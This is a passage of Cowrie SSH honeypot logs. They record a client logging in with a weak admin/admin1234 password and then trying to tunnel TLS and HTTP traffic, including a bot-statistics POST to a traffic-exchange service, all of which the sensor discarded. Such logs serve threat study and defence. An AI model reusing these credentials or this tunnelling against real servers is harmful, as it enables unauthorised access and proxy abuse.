00\\x01\\x00\\x00\\x1d\\x00 +\\t\\xe4\\x81\\x16l\\xaf&HX\\x90\\xa1\\xdd\\xe4\\xc2\\xbd\\x8a\\xa6\\x00\\xad\\x119t\\xd9\\xcbWhRZ\\xee>y\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:23:48.982716Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.47","src_port":53971,"dst_ip":"10.17.0.5","dst_port":22,"session":"76cf56ff8b1a","protocol":"ssh","message":"New connection: 23.175.50.47:53971 (10.17.0.5:22) [session: 76cf56ff8b1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:01.139900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:01.148715Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:01.246006Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:03.498949Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"44.9","message":"Connection lost after 44.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:04.862193Z","src_ip":"23.175.50.51","session":"c8dde4d10509","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:12.699614Z","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:12.704686Z","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:12.987751Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa6\\x00\\xa84\\x8a\\x8d\\x13\\xba\\x89\\n\\x19\\x92\\xae\\xcc\\x9e]d\\xb1R\\xee'3\\x05\\x19\\xe0\\x97\\x94N+\\x14\\xb4m \\x1cd\\xf9q\\x06\\r\\x05xYIy\\xf3f\\xdc\\xa0\\x063\\xe5\\x9b\\xa6\\xad\\xa3\\x83\\x8ac\\xc9\\xf3\\xd7\\x0cd\\xd8\\xd3\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe\\x97b\\x89]w\\xd4\\xc3\\x9e\\x1b\\xef\\xcfq\\xd5\\x10\\x1dU\\xcc\\xbdB\\xe1\\xd1\\xc1\\x9a\\xfbF_\\xe6\\x04u&a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa6\\x00\\xa84\\x8a\\x8d\\x13\\xba\\x89\\n\\x19\\x92\\xae\\xcc\\x9e]d\\xb1R\\xee'3\\x05\\x19\\xe0\\x97\\x94N+\\x14\\xb4m \\x1cd\\xf9q\\x06\\r\\x05xYIy\\xf3f\\xdc\\xa0\\x063\\xe5\\x9b\\xa6\\xad\\xa3\\x83\\x8ac\\xc9\\xf3\\xd7\\x0cd\\xd8\\xd3\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xda\\xda\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xda\\xda\\x00\\x01\\x00\\x00\\x1d\\x00 \\xfe\\x97b\\x89]w\\xd4\\xc3\\x9e\\x1b\\xef\\xcfq\\xd5\\x10\\x1dU\\xcc\\xbdB\\xe1\\xd1\\xc1\\x9a\\xfbF_\\xe6\\x04u&a\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xfa\\xfa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02jj\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:12.990624Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:13.097175Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.3 Mobile/18C66 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1162\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:13.100084Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'_=TDZmdlpHamwqSz5pa2pHbg%3D%3DlQb%2BLDe8%2Bk%2BVmglhWvVwDMxkvhw59qy9CV7Zr1kudf0TOdMZecb9x%2BskWG0VTv4SjWbGte7xMw2WkCEPT08cdLf73Y7Yh8mZw6OGSG3hNaYhP2B%2BzIE6GCalcOqvNX%2BaB5V%2BC6q5kcRM%2BZAq5rEetihSBUcItABdsTnFPs14JkwCjDVXsEVk2V996i0heBpoW%2B3PiEo%2B3egviPKjqYTLvdIkDbEXFKnK9S3Lq69kAwk2j9GLRaP8lYUMMJqsG%2F9VYepSo4R4XV5h%2F3WYgm1jkR0a3r7WQAHMG7Voi2YARxn4CQrpbMBSMSOnW6tb0lHSQWbL9htfowGZsAZnymFzetfeYXstBEW4VIKpEnEYgWEIReW0qGB1xlT7R6q8F5RDoxdSf0EIdgUuL061ldQjFuTF4Pavx27hjuBqQKnKbZQVG2VICH2Or%2Fr2blBqlrIU%2F8vv4a8hOXrFUBu3fpycAZyU35lPBy5P7ZM9peDEHBhZ2Ekd6AEWLU1whtSPDzORculCgqkvxzPn%2FOTFIpRvShxKHbFOgePqPZSbvCbbdRXHIfH9VrIgG0WOs0knivEZKRG9teLYMPOjSrpugYexHAZpzalGN%2Bs8gK9Q%2F2Fsn7Oa3Gdal6iFGtakIth6fOutnYwxIBTMlPnVOFUvlwRtyolLtTxTVKAnKfySuTDMDDcfHCg78lyWSWzJhdtZ%2Bl7sriHH4YdEnr0pqx4W9DHHc6%2BjD2S2Zj%2B6xzkmAQO4PlKjvFhZiD7A9%2BlYyJ5R0uBD1rGIyeyd0tIOl%2F3%2BB0aCy66quGet4tE9gClPWcQivByyLj5%2BDs6LH2l4yddj4RtclRQ2kDUoqo9mJKinphNI8FlOobX%2B59TtdVpLYuZLDIMGItOf%2BYEngGr5kxrfpZsLyR2uDDUg6zKj91rcah9vznL2dm1oWXGrO4bGPckmX9Uzvz91FPso8Ampohoq4rRkPH3WLjXURc92105rj%2Bvsk3aMaHHXaRUXYOwh2w%2FM0XgcAkOO%2Brc9zwopW%2FgrBfnlp%2FellxAX7rWsvA2wka6ae2lgcqPa2DVaUVlHexrQXF8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'_=TDZmdlpHamwqSz5pa2pHbg%3D%3DlQb%2BLDe8%2Bk%2BVmglhWvVwDMxkvhw59qy9CV7Zr1kudf0TOdMZecb9x%2BskWG0VTv4SjWbGte7xMw2WkCEPT08cdLf73Y7Yh8mZw6OGSG3hNaYhP2B%2BzIE6GCalcOqvNX%2BaB5V%2BC6q5kcRM%2BZAq5rEetihSBUcItABdsTnFPs14JkwCjDVXsEVk2V996i0heBpoW%2B3PiEo%2B3egviPKjqYTLvdIkDbEXFKnK9S3Lq69kAwk2j9GLRaP8lYUMMJqsG%2F9VYepSo4R4XV5h%2F3WYgm1jkR0a3r7WQAHMG7Voi2YARxn4CQrpbMBSMSOnW6tb0lHSQWbL9htfowGZsAZnymFzetfeYXstBEW4VIKpEnEYgWEIReW0qGB1xlT7R6q8F5RDoxdSf0EIdgUuL061ldQjFuTF4Pavx27hjuBqQKnKbZQVG2VICH2Or%2Fr2blBqlrIU%2F8vv4a8hOXrFUBu3fpycAZyU35lPBy5P7ZM9peDEHBhZ2Ekd6AEWLU1whtSPDzORculCgqkvxzPn%2FOTFIpRvShxKHbFOgePqPZSbvCbbdRXHIfH9VrIgG0WOs0knivEZKRG9teLYMPOjSrpugYexHAZpzalGN%2Bs8gK9Q%2F2Fsn7Oa3Gdal6iFGtakIth6fOutnYwxIBTMlPnVOFUvlwRtyolLtTxTVKAnKfySuTDMDDcfHCg78lyWSWzJhdtZ%2Bl7sriHH4YdEnr0pqx4W9DHHc6%2BjD2S2Zj%2B6xzkmAQO4PlKjvFhZiD7A9%2BlYyJ5R0uBD1rGIyeyd0tIOl%2F3%2BB0aCy66quGet4tE9gClPWcQivByyLj5%2BDs6LH2l4yddj4RtclRQ2kDUoqo9mJKinphNI8FlOobX%2B59TtdVpLYuZLDIMGItOf%2BYEngGr5kxrfpZsLyR2uDDUg6zKj91rcah9vznL2dm1oWXGrO4bGPckmX9Uzvz91FPso8Ampohoq4rRkPH3WLjXURc92105rj%2Bvsk3aMaHHXaRUXYOwh2w%2FM0XgcAkOO%2Brc9zwopW%2FgrBfnlp%2FellxAX7rWsvA2wka6ae2lgcqPa2DVaUVlHexrQXF8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:13.105046Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:13.787280Z","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:24:13.852240Z","src_ip":"23.175.50.47","session":"76cf56ff8b1a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xef\\x9c\\xc8u x\\xf6\\x9cz\\xc1J)Y\\xb3\\xec\\xd2\\xc9\\xa4\\x9f\\xb9\\x87\\x04\\xda\\x12\\x88\\x18t\\xc1\\xb6Y< 1Q\\xcfD,F$\\xf8\\'KDM,D\\xa9\\xe3)\\xfa~!\\xecU6\\xb6\\x82\\xf1#\\xaes4A\\xcd\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\x8b\\xb0Z\\x88\\x00\\x81\\x8f\\xf5\\xd3\\xef\\xe6}p\\xbfE\\xc4\\x03M\\xb9\\xfb\\x8b*]\\xa4\\x8ex\\xd5>\\x03\\x04?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1d\\xef\\x9c\\xc8u x\\xf6\\x9cz\\xc1J)Y\\xb3\\xec\\xd2\\xc9\\xa4\\x9f\\xb9\\x87\\x04\\xda\\x12\\x88\\x18t\\xc1\\xb6Y< 1Q\\xcfD,F$\\xf8\\'KDM,D\\xa9\\xe3)\\xfa~!\\xecU6\\xb6\\x82\\xf1#\\xaes4A\\xcd\\x00\"jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\x0b\\x8b\\xb0Z\\x88\\x00\\x81\\x8f\\xf5\\xd3\\xef\\xe6}p\\xbfE\\xc4\\x03M\\xb9\\xfb\\x8b*]\\xa4\\x8ex\\xd5>\\x03\\x04?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x